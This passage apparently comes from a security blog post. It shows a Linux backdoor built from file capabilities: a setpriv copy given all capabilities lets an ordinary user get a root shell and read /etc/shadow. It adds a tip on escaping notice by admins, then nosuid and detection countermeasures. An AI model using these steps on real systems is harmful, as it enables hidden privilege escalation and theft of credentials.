That is because the processes initial inheritable set (the non-privileged user) is empty and on an exec it is and'ed with the inheritable set of the file. But this is easy to work around; we just get myBash to open the file and hand over the contents to the child:
[paul@centos7-1 ~]$ grep ^Cap /proc/$$/status
CapInh:     0000000000000000
CapPrm:     0000001fffffffff
CapEff:     0000001fffffffff
CapBnd:     0000001fffffffff
[paul@centos7-1 ~]$ wc -l < /etc/shadow
20
But, as an adversary, I feel we can do better. Luckily, rather than rolling our own program to make the relevant system calls to the kernel, we also have a program called setpriv. This unprivileged executable allows a privileged caller to set the inheritable capability set of a process and its uid/gid. So, if we were to create our own privileged copy:
[root@centos7-1 mnt]# cp -p /bin/setpriv /mnt/mySetpriv
[root@centos7-1 mnt]# setcap all+epi /mnt/mySetpriv
[root@centos7-1 mnt]# getcap /mnt/mySetpriv
/mnt/mySetpriv =eip
And then use it as an unprivileged user:
[paul@centos7-1 ~]$ echo $0
-bash
[paul@centos7-1 ~]$ /mnt/mySetpriv --inh-caps +all --reuid 0 /bin/bash
[root@centos7-1 ~]# id -a
uid=0(root) gid=1000(paul) groups=0(root),10(wheel),1000(paul) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Success. The problem is that this shows up as root:
[root@centos7-1 ~]# ps -fp $$
UID         PID   PPID  C STIME TTY          TIME CMD
root       3693   3455  0 09:17 pts/0    00:00:00 /bin/bash
Instead, let's combine the inheritable set for the process with the privileged shell:
[paul@centos7-1 ~]$ /mnt/mySetpriv --inh-caps +all /mnt/myBash
[paul@centos7-1 ~]$ wc -l /etc/shadow
wc: /etc/shadow: Permission denied
Well that didn't work; but as we are in a capabilities environment, our capabilities are determined by the relationship between the process and files capabilities. This time we lost the permitted set:
[paul@centos7-1 ~]$ /bin/bash
[paul@centos7-1 ~]$ grep ^Cap /proc/$/status
CapInh: 0000001fffffffff
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000001fffffffff
But then there are a multitude of ways we can play with this; just limited to your imagination. e.g. short "one-off" commands via mySetperm will probably get missed by an admin running 'ps'.
Fortunately, one good countermeasure is that setting a filesystem as "nosuid" also disables files from taking on capabilities. But if an adversary is using it to maintain access, then any writable "suid" permitted filesystem will do.
The key is that 'find' SUID won't work, you need to be looking for these privileged files as well.
Finally, if you are looking at assigning users restricted capabilities, you may find pam_setcap of interest.